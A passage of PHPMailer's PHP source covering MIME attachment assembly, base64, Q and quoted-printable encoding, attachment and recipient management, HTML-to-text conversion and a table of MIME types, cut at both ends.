($bString) {\n                    $string = $attachment[0];\n                } else {\n                    $path = $attachment[0];\n                }\n\n                $inclhash = md5(serialize($attachment));\n                if (in_array($inclhash, $incl)) {\n                    continue;\n                }\n                $incl[] = $inclhash;\n                $name = $attachment[2];\n                $encoding = $attachment[3];\n                $type = $attachment[4];\n                $disposition = $attachment[6];\n                $cid = $attachment[7];\n                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {\n                    continue;\n                }\n                $cidUniq[$cid] = true;\n\n                $mime[] = sprintf('--%s%s', $boundary, $this->LE);\n                \/\/Only include a filename property if we have one\n                if (!empty($name)) {\n                    $mime[] = sprintf(\n                        'Content-Type: %s; name=\"%s\"%s',\n                        $type,\n                        $this->encodeHeader($this->secureHeader($name)),\n                        $this->LE\n                    );\n                } else {\n                    $mime[] = sprintf(\n                        'Content-Type: %s%s',\n                        $type,\n                        $this->LE\n                    );\n                }\n                \/\/ RFC1341 part 5 says 7bit is assumed if not specified\n                if ($encoding != '7bit') {\n                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);\n                }\n\n                if ($disposition == 'inline') {\n                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);\n                }\n\n                \/\/ If a filename contains any of these chars, it should be quoted,\n                \/\/ but not otherwise: RFC2183 & RFC2045 5.1\n                \/\/ Fixes a warning in IETF's msglint MIME checker\n                \/\/ Allow for bypassing the Content-Disposition header totally\n                if (!(empty($disposition))) {\n                    $encoded_name = $this->encodeHeader($this->secureHeader($name));\n                    if (preg_match('\/[ \\(\\)<>@,;:\\\\\"\\\/\\[\\]\\?=]\/', $encoded_name)) {\n                        $mime[] = sprintf(\n                            'Content-Disposition: %s; filename=\"%s\"%s',\n                            $disposition,\n                            $encoded_name,\n                            $this->LE . $this->LE\n                        );\n                    } else {\n                        if (!empty($encoded_name)) {\n                            $mime[] = sprintf(\n                                'Content-Disposition: %s; filename=%s%s',\n                                $disposition,\n                                $encoded_name,\n                                $this->LE . $this->LE\n                            );\n                        } else {\n                            $mime[] = sprintf(\n                                'Content-Disposition: %s%s',\n                                $disposition,\n                                $this->LE . $this->LE\n                            );\n                        }\n                    }\n                } else {\n                    $mime[] = $this->LE;\n                }\n\n                \/\/ Encode as string attachment\n                if ($bString) {\n                    $mime[] = $this->encodeString($string, $encoding);\n                    if ($this->isError()) {\n                        return '';\n                    }\n                    $mime[] = $this->LE . $this->LE;\n                } else {\n                    $mime[] = $this->encodeFile($path, $encoding);\n                    if ($this->isError()) {\n                        return '';\n                    }\n                    $mime[] = $this->LE . $this->LE;\n                }\n            }\n        }\n\n        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);\n\n        return implode('', $mime);\n    }\n\n    \/**\n     * Encode a file attachment in requested format.\n     * Returns an empty string on failure.\n     * @param string $path The full path to the file\n     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'\n     * @throws phpmailerException\n     * @access protected\n     * @return string\n     *\/\n    protected function encodeFile($path, $encoding = 'base64')\n    {\n        try {\n            if (!self::isPermittedPath($path) or !file_exists($path)) {\n                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);\n            }\n            $magic_quotes = false;\n            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {\n                $magic_quotes = get_magic_quotes_runtime();\n            }\n            if ($magic_quotes) {\n                if (version_compare(PHP_VERSION, '5.3.0', '<')) {\n                    set_magic_quotes_runtime(false);\n                } else {\n                    \/\/Doesn't exist in PHP 5.4, but we don't need to check because\n                    \/\/get_magic_quotes_runtime always returns false in 5.4+\n                    \/\/so it will never get here\n                    ini_set('magic_quotes_runtime', false);\n                }\n            }\n            $file_buffer = file_get_contents($path);\n            $file_buffer = $this->encodeString($file_buffer, $encoding);\n            if ($magic_quotes) {\n                if (version_compare(PHP_VERSION, '5.3.0', '<')) {\n                    set_magic_quotes_runtime($magic_quotes);\n                } else {\n                    ini_set('magic_quotes_runtime', $magic_quotes);\n                }\n            }\n            return $file_buffer;\n        } catch (Exception $exc) {\n            $this->setError($exc->getMessage());\n            return '';\n        }\n    }\n\n    \/**\n     * Encode a string in requested format.\n     * Returns an empty string on failure.\n     * @param string $str The text to encode\n     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'\n     * @access public\n     * @return string\n     *\/\n    public function encodeString($str, $encoding = 'base64')\n    {\n        $encoded = '';\n        switch (strtolower($encoding)) {\n            case 'base64':\n                $encoded = chunk_split(base64_encode($str), 76, $this->LE);\n                break;\n            case '7bit':\n            case '8bit':\n                $encoded = $this->fixEOL($str);\n                \/\/ Make sure it ends with a line break\n                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {\n                    $encoded .= $this->LE;\n                }\n                break;\n            case 'binary':\n                $encoded = $str;\n                break;\n            case 'quoted-printable':\n                $encoded = $this->encodeQP($str);\n                break;\n            default:\n                $this->setError($this->lang('encoding') . $encoding);\n                break;\n        }\n        return $encoded;\n    }\n\n    \/**\n     * Encode a header string optimally.\n     * Picks shortest of Q, B, quoted-printable or none.\n     * @access public\n     * @param string $str\n     * @param string $position\n     * @return string\n     *\/\n    public function encodeHeader($str, $position = 'text')\n    {\n        $matchcount = 0;\n        switch (strtolower($position)) {\n            case 'phrase':\n                if (!preg_match('\/[\\200-\\377]\/', $str)) {\n                    \/\/ Can't use addslashes as we don't know the value of magic_quotes_sybase\n                    $encoded = addcslashes($str, \"\\0..\\37\\177\\\\\\\"\");\n                    if (($str == $encoded) && !preg_match('\/[^A-Za-z0-9!#$%&\\'*+\\\/=?^_`{|}~ -]\/', $str)) {\n                        return ($encoded);\n                    } else {\n                        return (\"\\\"$encoded\\\"\");\n                    }\n                }\n                $matchcount = preg_match_all('\/[^\\040\\041\\043-\\133\\135-\\176]\/', $str, $matches);\n                break;\n            \/** @noinspection PhpMissingBreakStatementInspection *\/\n            case 'comment':\n                $matchcount = preg_match_all('\/[()\"]\/', $str, $matches);\n                \/\/ Intentional fall-through\n            case 'text':\n            default:\n                $matchcount += preg_match_all('\/[\\000-\\010\\013\\014\\016-\\037\\177-\\377]\/', $str, $matches);\n                break;\n        }\n\n        \/\/There are no chars that need encoding\n        if ($matchcount == 0) {\n            return ($str);\n        }\n\n        $maxlen = 75 - 7 - strlen($this->CharSet);\n        \/\/ Try to select the encoding which should produce the shortest output\n        if ($matchcount > strlen($str) \/ 3) {\n            \/\/ More than a third of the content will need encoding, so B encoding will be most efficient\n            $encoding = 'B';\n            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {\n                \/\/ Use a custom function which correctly encodes and wraps long\n                \/\/ multibyte strings without breaking lines within a character\n                $encoded = $this->base64EncodeWrapMB($str, \"\\n\");\n            } else {\n                $encoded = base64_encode($str);\n                $maxlen -= $maxlen % 4;\n                $encoded = trim(chunk_split($encoded, $maxlen, \"\\n\"));\n            }\n        } else {\n            $encoding = 'Q';\n            $encoded = $this->encodeQ($str, $position);\n            $encoded = $this->wrapText($encoded, $maxlen, true);\n            $encoded = str_replace('=' . self::CRLF, \"\\n\", trim($encoded));\n        }\n\n        $encoded = preg_replace('\/^(.*)$\/m', ' =?' . $this->CharSet . \"?$encoding?\\\\1?=\", $encoded);\n        $encoded = trim(str_replace(\"\\n\", $this->LE, $encoded));\n\n        return $encoded;\n    }\n\n    \/**\n     * Check if a string contains multi-byte characters.\n     * @access public\n     * @param string $str multi-byte text to wrap encode\n     * @return boolean\n     *\/\n    public function hasMultiBytes($str)\n    {\n        if (function_exists('mb_strlen')) {\n            return (strlen($str) > mb_strlen($str, $this->CharSet));\n        } else { \/\/ Assume no multibytes (we can't handle without mbstring functions anyway)\n            return false;\n        }\n    }\n\n    \/**\n     * Does a string contain any 8-bit chars (in any charset)?\n     * @param string $text\n     * @return boolean\n     *\/\n    public function has8bitChars($text)\n    {\n        return (boolean)preg_match('\/[\\x80-\\xFF]\/', $text);\n    }\n\n    \/**\n     * Encode and wrap long multibyte strings for mail headers\n     * without breaking lines within a character.\n     * Adapted from a function by paravoid\n     * @link http:\/\/www.php.net\/manual\/en\/function.mb-encode-mimeheader.php#60283\n     * @access public\n     * @param string $str multi-byte text to wrap encode\n     * @param string $linebreak string to use as linefeed\/end-of-line\n     * @return string\n     *\/\n    public function base64EncodeWrapMB($str, $linebreak = null)\n    {\n        $start = '=?' . $this->CharSet . '?B?';\n        $end = '?=';\n        $encoded = '';\n        if ($linebreak === null) {\n            $linebreak = $this->LE;\n        }\n\n        $mb_length = mb_strlen($str, $this->CharSet);\n        \/\/ Each line must have length <= 75, including $start and $end\n        $length = 75 - strlen($start) - strlen($end);\n        \/\/ Average multi-byte ratio\n        $ratio = $mb_length \/ strlen($str);\n        \/\/ Base64 has a 4:3 ratio\n        $avgLength = floor($length * $ratio * .75);\n\n        for ($i = 0; $i < $mb_length; $i += $offset) {\n            $lookBack = 0;\n            do {\n                $offset = $avgLength - $lookBack;\n                $chunk = mb_substr($str, $i, $offset, $this->CharSet);\n                $chunk = base64_encode($chunk);\n                $lookBack++;\n            } while (strlen($chunk) > $length);\n            $encoded .= $chunk . $linebreak;\n        }\n\n        \/\/ Chomp the last linefeed\n        $encoded = substr($encoded, 0, -strlen($linebreak));\n        return $encoded;\n    }\n\n    \/**\n     * Encode a string in quoted-printable format.\n     * According to RFC2045 section 6.7.\n     * @access public\n     * @param string $string The text to encode\n     * @param integer $line_max Number of chars allowed on a line before wrapping\n     * @return string\n     * @link http:\/\/www.php.net\/manual\/en\/function.quoted-printable-decode.php#89417 Adapted from this comment\n     *\/\n    public function encodeQP($string, $line_max = 76)\n    {\n        \/\/ Use native function if it's available (>= PHP5.3)\n        if (function_exists('quoted_printable_encode')) {\n            return quoted_printable_encode($string);\n        }\n        \/\/ Fall back to a pure PHP implementation\n        $string = str_replace(\n            array('%20', '%0D%0A.', '%0D%0A', '%'),\n            array(' ', \"\\r\\n=2E\", \"\\r\\n\", '='),\n            rawurlencode($string)\n        );\n        return preg_replace('\/[^\\r\\n]{' . ($line_max - 3) . '}[^=\\r\\n]{2}\/', \"$0=\\r\\n\", $string);\n    }\n\n    \/**\n     * Backward compatibility wrapper for an old QP encoding function that was removed.\n     * @see PHPMailer::encodeQP()\n     * @access public\n     * @param string $string\n     * @param integer $line_max\n     * @param boolean $space_conv\n     * @return string\n     * @deprecated Use encodeQP instead.\n     *\/\n    public function encodeQPphp(\n        $string,\n        $line_max = 76,\n        \/** @noinspection PhpUnusedParameterInspection *\/ $space_conv = false\n    ) {\n        return $this->encodeQP($string, $line_max);\n    }\n\n    \/**\n     * Encode a string using Q encoding.\n     * @link http:\/\/tools.ietf.org\/html\/rfc2047\n     * @param string $str the text to encode\n     * @param string $position Where the text is going to be used, see the RFC for what that means\n     * @access public\n     * @return string\n     *\/\n    public function encodeQ($str, $position = 'text')\n    {\n        \/\/ There should not be any EOL in the string\n        $pattern = '';\n        $encoded = str_replace(array(\"\\r\", \"\\n\"), '', $str);\n        switch (strtolower($position)) {\n            case 'phrase':\n                \/\/ RFC 2047 section 5.3\n                $pattern = '^A-Za-z0-9!*+\\\/ -';\n                break;\n            \/** @noinspection PhpMissingBreakStatementInspection *\/\n            case 'comment':\n                \/\/ RFC 2047 section 5.2\n                $pattern = '\\(\\)\"';\n                \/\/ intentional fall-through\n                \/\/ for this reason we build the $pattern without including delimiters and []\n            case 'text':\n            default:\n                \/\/ RFC 2047 section 5.1\n                \/\/ Replace every high ascii, control, =, ? and _ characters\n                $pattern = '\\000-\\011\\013\\014\\016-\\037\\075\\077\\137\\177-\\377' . $pattern;\n                break;\n        }\n        $matches = array();\n        if (preg_match_all(\"\/[{$pattern}]\/\", $encoded, $matches)) {\n            \/\/ If the string contains an '=', make sure it's the first thing we replace\n            \/\/ so as to avoid double-encoding\n            $eqkey = array_search('=', $matches[0]);\n            if (false !== $eqkey) {\n                unset($matches[0][$eqkey]);\n                array_unshift($matches[0], '=');\n            }\n            foreach (array_unique($matches[0]) as $char) {\n                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);\n            }\n        }\n        \/\/ Replace every spaces to _ (more readable than =20)\n        return str_replace(' ', '_', $encoded);\n    }\n\n    \/**\n     * Add a string or binary attachment (non-filesystem).\n     * This method can be used to attach ascii or binary data,\n     * such as a BLOB record from a database.\n     * @param string $string String attachment data.\n     * @param string $filename Name of the attachment.\n     * @param string $encoding File encoding (see $Encoding).\n     * @param string $type File extension (MIME) type.\n     * @param string $disposition Disposition to use\n     * @return void\n     *\/\n    public function addStringAttachment(\n        $string,\n        $filename,\n        $encoding = 'base64',\n        $type = '',\n        $disposition = 'attachment'\n    ) {\n        \/\/ If a MIME type is not specified, try to work it out from the file name\n        if ($type == '') {\n            $type = self::filenameToType($filename);\n        }\n        \/\/ Append to $attachment array\n        $this->attachment[] = array(\n            0 => $string,\n            1 => $filename,\n            2 => basename($filename),\n            3 => $encoding,\n            4 => $type,\n            5 => true, \/\/ isStringAttachment\n            6 => $disposition,\n            7 => 0\n        );\n    }\n\n    \/**\n     * Add an embedded (inline) attachment from a file.\n     * This can include images, sounds, and just about any other document type.\n     * These differ from 'regular' attachments in that they are intended to be\n     * displayed inline with the message, not just attached for download.\n     * This is used in HTML messages that embed the images\n     * the HTML refers to using the $cid value.\n     * Never use a user-supplied path to a file!\n     * @param string $path Path to the attachment.\n     * @param string $cid Content ID of the attachment; Use this to reference\n     *        the content when using an embedded image in HTML.\n     * @param string $name Overrides the attachment name.\n     * @param string $encoding File encoding (see $Encoding).\n     * @param string $type File MIME type.\n     * @param string $disposition Disposition to use\n     * @return boolean True on successfully adding an attachment\n     *\/\n    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')\n    {\n        if (!self::isPermittedPath($path) or !@is_file($path)) {\n            $this->setError($this->lang('file_access') . $path);\n            return false;\n        }\n\n        \/\/ If a MIME type is not specified, try to work it out from the file name\n        if ($type == '') {\n            $type = self::filenameToType($path);\n        }\n\n        $filename = basename($path);\n        if ($name == '') {\n            $name = $filename;\n        }\n\n        \/\/ Append to $attachment array\n        $this->attachment[] = array(\n            0 => $path,\n            1 => $filename,\n            2 => $name,\n            3 => $encoding,\n            4 => $type,\n            5 => false, \/\/ isStringAttachment\n            6 => $disposition,\n            7 => $cid\n        );\n        return true;\n    }\n\n    \/**\n     * Add an embedded stringified attachment.\n     * This can include images, sounds, and just about any other document type.\n     * Be sure to set the $type to an image type for images:\n     * JPEG images use 'image\/jpeg', GIF uses 'image\/gif', PNG uses 'image\/png'.\n     * @param string $string The attachment binary data.\n     * @param string $cid Content ID of the attachment; Use this to reference\n     *        the content when using an embedded image in HTML.\n     * @param string $name\n     * @param string $encoding File encoding (see $Encoding).\n     * @param string $type MIME type.\n     * @param string $disposition Disposition to use\n     * @return boolean True on successfully adding an attachment\n     *\/\n    public function addStringEmbeddedImage(\n        $string,\n        $cid,\n        $name = '',\n        $encoding = 'base64',\n        $type = '',\n        $disposition = 'inline'\n    ) {\n        \/\/ If a MIME type is not specified, try to work it out from the name\n        if ($type == '' and !empty($name)) {\n            $type = self::filenameToType($name);\n        }\n\n        \/\/ Append to $attachment array\n        $this->attachment[] = array(\n            0 => $string,\n            1 => $name,\n            2 => $name,\n            3 => $encoding,\n            4 => $type,\n            5 => true, \/\/ isStringAttachment\n            6 => $disposition,\n            7 => $cid\n        );\n        return true;\n    }\n\n    \/**\n     * Check if an inline attachment is present.\n     * @access public\n     * @return boolean\n     *\/\n    public function inlineImageExists()\n    {\n        foreach ($this->attachment as $attachment) {\n            if ($attachment[6] == 'inline') {\n                return true;\n            }\n        }\n        return false;\n    }\n\n    \/**\n     * Check if an attachment (non-inline) is present.\n     * @return boolean\n     *\/\n    public function attachmentExists()\n    {\n        foreach ($this->attachment as $attachment) {\n            if ($attachment[6] == 'attachment') {\n                return true;\n            }\n        }\n        return false;\n    }\n\n    \/**\n     * Check if this message has an alternative body set.\n     * @return boolean\n     *\/\n    public function alternativeExists()\n    {\n        return !empty($this->AltBody);\n    }\n\n    \/**\n     * Clear queued addresses of given kind.\n     * @access protected\n     * @param string $kind 'to', 'cc', or 'bcc'\n     * @return void\n     *\/\n    public function clearQueuedAddresses($kind)\n    {\n        $RecipientsQueue = $this->RecipientsQueue;\n        foreach ($RecipientsQueue as $address => $params) {\n            if ($params[0] == $kind) {\n                unset($this->RecipientsQueue[$address]);\n            }\n        }\n    }\n\n    \/**\n     * Clear all To recipients.\n     * @return void\n     *\/\n    public function clearAddresses()\n    {\n        foreach ($this->to as $to) {\n            unset($this->all_recipients[strtolower($to[0])]);\n        }\n        $this->to = array();\n        $this->clearQueuedAddresses('to');\n    }\n\n    \/**\n     * Clear all CC recipients.\n     * @return void\n     *\/\n    public function clearCCs()\n    {\n        foreach ($this->cc as $cc) {\n            unset($this->all_recipients[strtolower($cc[0])]);\n        }\n        $this->cc = array();\n        $this->clearQueuedAddresses('cc');\n    }\n\n    \/**\n     * Clear all BCC recipients.\n     * @return void\n     *\/\n    public function clearBCCs()\n    {\n        foreach ($this->bcc as $bcc) {\n            unset($this->all_recipients[strtolower($bcc[0])]);\n        }\n        $this->bcc = array();\n        $this->clearQueuedAddresses('bcc');\n    }\n\n    \/**\n     * Clear all ReplyTo recipients.\n     * @return void\n     *\/\n    public function clearReplyTos()\n    {\n        $this->ReplyTo = array();\n        $this->ReplyToQueue = array();\n    }\n\n    \/**\n     * Clear all recipient types.\n     * @return void\n     *\/\n    public function clearAllRecipients()\n    {\n        $this->to = array();\n        $this->cc = array();\n        $this->bcc = array();\n        $this->all_recipients = array();\n        $this->RecipientsQueue = array();\n    }\n\n    \/**\n     * Clear all filesystem, string, and binary attachments.\n     * @return void\n     *\/\n    public function clearAttachments()\n    {\n        $this->attachment = array();\n    }\n\n    \/**\n     * Clear all custom headers.\n     * @return void\n     *\/\n    public function clearCustomHeaders()\n    {\n        $this->CustomHeader = array();\n    }\n\n    \/**\n     * Add an error message to the error container.\n     * @access protected\n     * @param string $msg\n     * @return void\n     *\/\n    protected function setError($msg)\n    {\n        $this->error_count++;\n        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {\n            $lasterror = $this->smtp->getError();\n            if (!empty($lasterror['error'])) {\n                $msg .= $this->lang('smtp_error') . $lasterror['error'];\n                if (!empty($lasterror['detail'])) {\n                    $msg .= ' Detail: '. $lasterror['detail'];\n                }\n                if (!empty($lasterror['smtp_code'])) {\n                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];\n                }\n                if (!empty($lasterror['smtp_code_ex'])) {\n                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];\n                }\n            }\n        }\n        $this->ErrorInfo = $msg;\n    }\n\n    \/**\n     * Return an RFC 822 formatted date.\n     * @access public\n     * @return string\n     * @static\n     *\/\n    public static function rfcDate()\n    {\n        \/\/ Set the time zone to whatever the default is to avoid 500 errors\n        \/\/ Will default to UTC if it's not set properly in php.ini\n        date_default_timezone_set(@date_default_timezone_get());\n        return date('D, j M Y H:i:s O');\n    }\n\n    \/**\n     * Get the server hostname.\n     * Returns 'localhost.localdomain' if unknown.\n     * @access protected\n     * @return string\n     *\/\n    protected function serverHostname()\n    {\n        $result = 'localhost.localdomain';\n        if (!empty($this->Hostname)) {\n            $result = $this->Hostname;\n        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {\n            $result = $_SERVER['SERVER_NAME'];\n        } elseif (function_exists('gethostname') && gethostname() !== false) {\n            $result = gethostname();\n        } elseif (php_uname('n') !== false) {\n            $result = php_uname('n');\n        }\n        return $result;\n    }\n\n    \/**\n     * Get an error message in the current language.\n     * @access protected\n     * @param string $key\n     * @return string\n     *\/\n    protected function lang($key)\n    {\n        if (count($this->language) < 1) {\n            $this->setLanguage('en'); \/\/ set the default language\n        }\n\n        if (array_key_exists($key, $this->language)) {\n            if ($key == 'smtp_connect_failed') {\n                \/\/Include a link to troubleshooting docs on SMTP connection failure\n                \/\/this is by far the biggest cause of support questions\n                \/\/but it's usually not PHPMailer's fault.\n                return $this->language[$key] . ' https:\/\/github.com\/PHPMailer\/PHPMailer\/wiki\/Troubleshooting';\n            }\n            return $this->language[$key];\n        } else {\n            \/\/Return the key as a fallback\n            return $key;\n        }\n    }\n\n    \/**\n     * Check if an error occurred.\n     * @access public\n     * @return boolean True if an error did occur.\n     *\/\n    public function isError()\n    {\n        return ($this->error_count > 0);\n    }\n\n    \/**\n     * Ensure consistent line endings in a string.\n     * Changes every end of line from CRLF, CR or LF to $this->LE.\n     * @access public\n     * @param string $str String to fixEOL\n     * @return string\n     *\/\n    public function fixEOL($str)\n    {\n        \/\/ Normalise to \\n\n        $nstr = str_replace(array(\"\\r\\n\", \"\\r\"), \"\\n\", $str);\n        \/\/ Now convert LE as needed\n        if ($this->LE !== \"\\n\") {\n            $nstr = str_replace(\"\\n\", $this->LE, $nstr);\n        }\n        return $nstr;\n    }\n\n    \/**\n     * Add a custom header.\n     * $name value can be overloaded to contain\n     * both header name and value (name:value)\n     * @access public\n     * @param string $name Custom header name\n     * @param string $value Header value\n     * @return void\n     *\/\n    public function addCustomHeader($name, $value = null)\n    {\n        if ($value === null) {\n            \/\/ Value passed in as name:value\n            $this->CustomHeader[] = explode(':', $name, 2);\n        } else {\n            $this->CustomHeader[] = array($name, $value);\n        }\n    }\n\n    \/**\n     * Returns all custom headers.\n     * @return array\n     *\/\n    public function getCustomHeaders()\n    {\n        return $this->CustomHeader;\n    }\n\n    \/**\n     * Create a message body from an HTML string.\n     * Automatically inlines images and creates a plain-text version by converting the HTML,\n     * overwriting any existing values in Body and AltBody.\n     * Do not source $message content from user input!\n     * $basedir is prepended when handling relative URLs, e.g. <img src=\"\/images\/a.png\"> and must not be empty\n     * will look for an image file in $basedir\/images\/a.png and convert it to inline.\n     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)\n     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.\n     * @access public\n     * @param string $message HTML message string\n     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images\n     * @param boolean|callable $advanced Whether to use the internal HTML to text converter\n     *    or your own custom converter @see PHPMailer::html2text()\n     * @return string $message The transformed message Body\n     *\/\n    public function msgHTML($message, $basedir = '', $advanced = false)\n    {\n        preg_match_all('\/(src|background)=[\"\\'](.*)[\"\\']\/Ui', $message, $images);\n        if (array_key_exists(2, $images)) {\n            if (strlen($basedir) > 1 && substr($basedir, -1) != '\/') {\n                \/\/ Ensure $basedir has a trailing \/\n                $basedir .= '\/';\n            }\n            foreach ($images[2] as $imgindex => $url) {\n                \/\/ Convert data URIs into embedded images\n                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {\n                    $data = substr($url, strpos($url, ','));\n                    if ($match[2]) {\n                        $data = base64_decode($data);\n                    } else {\n                        $data = rawurldecode($data);\n                    }\n                    $cid = md5($url) . '@phpmailer.0'; \/\/ RFC2392 S 2\n                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {\n                        $message = str_replace(\n                            $images[0][$imgindex],\n                            $images[1][$imgindex] . '=\"cid:' . $cid . '\"',\n                            $message\n                        );\n                    }\n                    continue;\n                }\n                if (\n                    \/\/ Only process relative URLs if a basedir is provided (i.e. no absolute local paths)\n                    !empty($basedir)\n                    \/\/ Ignore URLs containing parent dir traversal (..)\n                    && (strpos($url, '..') === false)\n                    \/\/ Do not change urls that are already inline images\n                    && substr($url, 0, 4) !== 'cid:'\n                    \/\/ Do not change absolute URLs, including anonymous protocol\n                    && !preg_match('#^[a-z][a-z0-9+.-]*:?\/\/#i', $url)\n                ) {\n                    $filename = basename($url);\n                    $directory = dirname($url);\n                    if ($directory == '.') {\n                        $directory = '';\n                    }\n                    $cid = md5($url) . '@phpmailer.0'; \/\/ RFC2392 S 2\n                    if (strlen($directory) > 1 && substr($directory, -1) != '\/') {\n                        $directory .= '\/';\n                    }\n                    if ($this->addEmbeddedImage(\n                        $basedir . $directory . $filename,\n                        $cid,\n                        $filename,\n                        'base64',\n                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))\n                    )\n                    ) {\n                        $message = preg_replace(\n                            '\/' . $images[1][$imgindex] . '=[\"\\']' . preg_quote($url, '\/') . '[\"\\']\/Ui',\n                            $images[1][$imgindex] . '=\"cid:' . $cid . '\"',\n                            $message\n                        );\n                    }\n                }\n            }\n        }\n        $this->isHTML(true);\n        \/\/ Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better\n        $this->Body = $this->normalizeBreaks($message);\n        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));\n        if (!$this->alternativeExists()) {\n            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .\n                self::CRLF . self::CRLF;\n        }\n        return $this->Body;\n    }\n\n    \/**\n     * Convert an HTML string into plain text.\n     * This is used by msgHTML().\n     * Note - older versions of this function used a bundled advanced converter\n     * which was been removed for license reasons in #232.\n     * Example usage:\n     * <code>\n     * \/\/ Use default conversion\n     * $plain = $mail->html2text($html);\n     * \/\/ Use your own custom converter\n     * $plain = $mail->html2text($html, function($html) {\n     *     $converter = new MyHtml2text($html);\n     *     return $converter->get_text();\n     * });\n     * <\/code>\n     * @param string $html The HTML text to convert\n     * @param boolean|callable $advanced Any boolean value to use the internal converter,\n     *   or provide your own callable for custom conversion.\n     * @return string\n     *\/\n    public function html2text($html, $advanced = false)\n    {\n        if (is_callable($advanced)) {\n            return call_user_func($advanced, $html);\n        }\n        return html_entity_decode(\n            trim(strip_tags(preg_replace('\/<(head|title|style|script)[^>]*>.*?<\\\/\\\\1>\/si', '', $html))),\n            ENT_QUOTES,\n            $this->CharSet\n        );\n    }\n\n    \/**\n     * Get the MIME type for a file extension.\n     * @param string $ext File extension\n     * @access public\n     * @return string MIME type of file.\n     * @static\n     *\/\n    public static function _mime_types($ext = '')\n    {\n        $mimes = array(\n            'xl'    => 'application\/excel',\n            'js'    => 'application\/javascript',\n            'hqx'   => 'application\/mac-binhex40',\n            'cpt'   => 'application\/mac-compactpro',\n            'bin'   => 'application\/macbinary',\n            'doc'   => 'application\/msword',\n            'word'  => 'application\/msword',\n            'xlsx'  => 'application\/vnd.openxmlformats-officedocument.spreadsheetml.sheet',\n            'xltx'  => 'application\/vnd.openxmlformats-officedocument.spreadsheetml.template',\n            'potx'  => 'application\/vnd.openxmlformats-officedocument.presentationml.template',\n            'ppsx'  => 'application\/vnd.openxmlformats-officedocument.presentationml.slideshow',\n            'pptx'  => 'application\/vnd.openxmlformats-officedocument.presentationml.presentation',\n            'sldx'  => 'application\/vnd.openxmlformats-officedocument.presentationml.slide',\n            'docx'  => 'application\/vnd.openxmlformats-officedocument.wordprocessingml.document',\n            'dotx'  => 'application\/vnd.openxmlformats-officedocument.wordprocessingml.template',\n            'xlam'  => 'application\/vnd.ms-excel.addin.macroEnabled.12',\n            'xlsb'  => 'application\/vnd.ms-excel.sheet.binary.macroEnabled.12',\n            'class' => 'application\/octet-stream',\n            'dll'   => 'application\/octet-stream',\n            'dms'   => 'application\/octet-stream',\n            'exe'   => 'application\/octet-stream',\n            'lha'   => 'application\/octet-stream',\n            'lzh'   => 'application\/octet-stream',\n            'psd'   => 'application\/octet-stream',\n            'sea'   => 'application\/octet-stream',\n            'so'    => 'application\/octet-stream',\n            'oda'   => 'application\/oda',\n            'pdf'   => 'application\/pdf',\n            'ai'    => 'application\/postscript',\n            'eps'   => 'application\/postscript',\n            'ps'    => 'application\/postscript',\n            'smi'   => 'application\/smil',\n            'smil'  => 'application\/smil',\n            'mif'   => 'application\/vnd.mif',\n            'xls'   => 'application\/vnd.ms-excel',\n            'ppt'   => 'application\/vnd.ms-powerpoint',\n            'wbxml' => 'application\/vnd.wap.wbxml',\n            'wmlc'  => 'application\/vnd.wap.wmlc',\n            'dcr'   => 'application\/x-director',\n            'dir'   => 'application\/x-director',\n            'dxr'   => 'application\/x-director',\n            'dvi'   => 'application\/x-dvi',\n            'gtar'  => 'application\/x-gtar',\n            'php3'  => 'application\/x-httpd-php',\n            'php4'  => 'application\/x-httpd-php',\n            'php'   => 'application\/x-httpd-php',\n            'phtml' => 'application\/x-httpd-php',\n            'phps'  => 'application\/x-httpd-php-source',\n            'swf'   => 'application\/x-shockwave-flash',\n            'sit'   => 'application\/x-stuffit',\n            'tar'   => 'application\/x-tar',\n            'tgz'   => 'application\/x-tar',\n            'xht'   => 'application\/xhtml+xml',\n            'xhtml' => 'application\/xhtml+xml',\n            'zip'   => 'application\/zip',\n            'mid'   => 'audio\/midi',\n            'midi'  => 'audio\/midi',\n            'mp2'   => 'audio\/mpeg',\n            'mp3'   => 'audio\/mpeg',\n            'mpga'  => 'audio\/mpeg',\n            'aif'   => 'audio\/x-aiff',\n            'aifc'  => 'audio\/x-aiff',\n            'aiff'  => 'audio\/x-aiff',\n            'ram'   => 'audio\/x-pn-realaudio',\n            'rm'    => 'audio\/x-pn-realaudio',\n            'rpm'   => 'audio\/x-pn-realaudio-plugin',\n            'ra'    => 'audio\/x-realaudio',\n            'wav'   => 'audio\/x-wav',\n            'bmp'   => 'image\/bmp',\n            'gif'   => 'image\/gif',\n            'jpeg'  => 'image\/jpeg',\n            'jpe'   => 'image\/jpeg',\n            'jpg'   => 'image\/jpeg',\n            'png'   => 'image\/png',\n            'tiff'  => 'image\/tiff',\n            'tif'   => 'image\/tiff',\n            'eml'   => 'message\/rfc822',\n            'css'   => 'text\/css',\n            'html'  => 'text\/html',\n            'htm'   => 'text\/html',\n            'shtml' => 'text\/html',\n            'log'   => 'text\/plain',\n            'text'  => 'text\/plain',\n            'txt'   => 'text\/plain',\n            'rtx' 